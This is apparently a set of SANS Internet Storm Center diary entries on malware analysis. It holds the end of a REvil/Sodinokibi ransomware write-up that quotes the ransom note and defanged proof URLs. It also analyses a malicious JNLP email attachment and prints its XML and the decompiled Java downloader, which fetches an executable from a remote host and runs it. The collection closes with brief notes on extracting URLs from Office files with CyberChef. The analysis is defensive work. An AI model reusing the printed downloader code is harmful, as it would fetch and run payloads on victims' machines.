About the ransomware itself, the ransomware notifies the victim (via a classic readme file) that files have been encrypted but also exfiltrated. As proof, they provide some URLs:

[+] Your secret data [+]

We have uploaded all your private information, if no payment comes from you, we will post

proof:

hxxps://ibb[.]co/thJQ77F
hxxps://ibb[.]co/cbd1CW6
hxxps://ibb[.]co/2FHfJp9
hxxps://ibb[.]co/h8vf4Y1
hxxps://ibb[.]co/MZ8WR2c
hxxps://ibb[.]co/qkCjvp6
hxxps://ibb[.]co/D4hp7WN
hxxps://ibb[.]co/k6JcMpm
hxxps://ibb[.]co/0ZB3GxF

My sandbox being offline (network disconnected), there was no way to upload sample files to a cloud service. Files are just fake ones and do not belong to the victim!

I tried to run the ransomware again, this time with a fake network, and no network traffic was generated. The URLs with files remain the same, like hardcoded. Finally, I visited the Onion website provided in the readme file:

They provide a tool to submit some files to prove they can decrypt them and it worked. My REMnux wallpaper was decrypted! Ouf!

Based on these screenshots, we have indeed a REvil or Sodinokibi as described Talos last year in a blog post[5] but this time, it seems the way the attackers drop the malware changed... 

[1] https://devblogs.microsoft.com/scripting/beginning-use-of-powershell-runspaces-part-1/
[2] https://www.virustotal.com/gui/file/e1e19d637e6744fedb76a9008952e01ee6dabaecbc6ad2701dfac6aab149cecf/detection
[3] https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
[4] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/
[5] https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

When hunting, one thing that I like to learn is how attackers can be imaginative at deploying new techniques. I spotted some emails that had suspicious attachments based on the ‘.jnlp’ extension. I’m pretty sure that many people don’t know what’s their purpose and, if you don’t know them, you don’t have a look at them on your logs, SIEM, ... That makes them a good candidate to deliver malicious code!

Basically, a JNLP file[1] is... an XML file! It is created in the “Java Network Launching Protocol”. It contains all the required information to execute a Java program. Usually, it contains the address where to download the malicious applet and the initial class to run.

I did a quick analysis of one of the captured JNLP files:

<?xml version="1.0" encoding="utf-8"?> 
  <jnlp spec="1.0+" codebase="hxxp://secured-doc-read[.]net" href="delivery.jnlp">
  <information> 
    <title>Secure Document Reader</title> 
    <vendor>Microsoft</vendor> 
    <homepage href="wwww.microsoft.com"/> 
    <description>Microsoft Secure Document Reader v.4.016</description> 
  </information> 
  <security>
    <all-permissions/>
  </security>
  <resources> 
    <j2se version="1.6+" /> 
    <jar href="delivery.jar" />
  </resources> 
  <application-desc main-class="Secure_Document_Reader"> 
  </application-desc>
  wghjs100570 
</jnlp> 

The syntax is easy to understand. The payload will be called ‘delivery.jar’ (line 14) and downloaded from secured-doc-read[.].net (line 2). The main class is "Secure_Document_Reader" (line 16).

I decompiled the Jar file (SHA256:a4d95b7d196a4aca87cec384c5d21a756ab75cfaee7f4a20163d02109956a6dd)[2] and was surprised to find a very simple code. Often malicious Java applets implement a RAT but here we faced the simple code of a downloader:

public class Secure_Document_Reader
{
  static BufferedInputStream frisco415;
  static FileOutputStream friekiegee;
  static String linkage9;

  public static void main(final String[] array) {
    frisco415("hxxp://sec-doc-v[.]com/images/dsc0386234.jpg");
  }

  public static void frisco415(final String spec) {
    final File file = new File(Secure_Document_Reader.linkage9);
    try {
      Secure_Document_Reader.frisco415 = new BufferedInputStream(new URL(spec).openStream());
      Secure_Document_Reader.friekiegee = new FileOutputStream(Secure_Document_Reader.linkage9);
      final byte[] array = new byte[1024];
      int read;
      while ((read = Secure_Document_Reader.frisco415.read(array, 0, 1024)) != -1) {
        Secure_Document_Reader.friekiegee.write(array, 0, read);
      }
      Secure_Document_Reader.frisco415.close();
      Secure_Document_Reader.friekiegee.close();
    }
    catch (Exception ex) {}
    try {
      Desktop.getDesktop().open(file);
    }
    catch (Exception ex2) {}
  }

  static {
    Secure_Document_Reader.frisco415 = null;
    Secure_Document_Reader.friekiegee = null;
    Secure_Document_Reader.linkage9 = "C:\\ProgramData\\videodrv.exe";
  }
}

The next stage is download from hxxp://sec-doc-v[.]com/images/dsc0386234.jpg and dropped on disk as 'videodrx.exe". The PE file (SHA256:ceaf771da5e2678ed0d5844282bf0d464207c23842a8e36be3e7ab1df022ef89) has a VT score of 14/59[3].

The usage of .jnlp files is a great way to bypass the first line of defenses (mail filters) because .jnlp files are text files and do not contain any executable code. Note that Java must be installed on the victim's computer to handle .jnlp files.

[1] https://fileinfo.com/extension/jnlp
[2] https://www.virustotal.com/gui/file/a4d95b7d196a4aca87cec384c5d21a756ab75cfaee7f4a20163d02109956a6dd/detection
[3] https://www.virustotal.com/gui/file/ceaf771da5e2678ed0d5844282bf0d464207c23842a8e36be3e7ab1df022ef89/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

In diary entry "Doc & RTF Malicious Document" I start analyzing a malicious Word document with my tools.

That Word document, an Office Open XML file (OOXML, .docx), is a ZIP container with XML files. I show how to extract URLs from this document.

CyberChef can also process ZIP files: I made a CyberChef recipe to extract URLs from OOXML files.

This is how it looks:

You can use it for any .docx, .docm, .xlsx, ... file (OOXML file) to see if it contains URLs.

And if you want to understand how I use CyberChef to create this recipe, take a look at this video:

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I made a video for my diary entry "Doc & RTF Malicious Document". And I show a new feature of my tool re-search.py, that helps with filtering URLs found in OOXML files.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com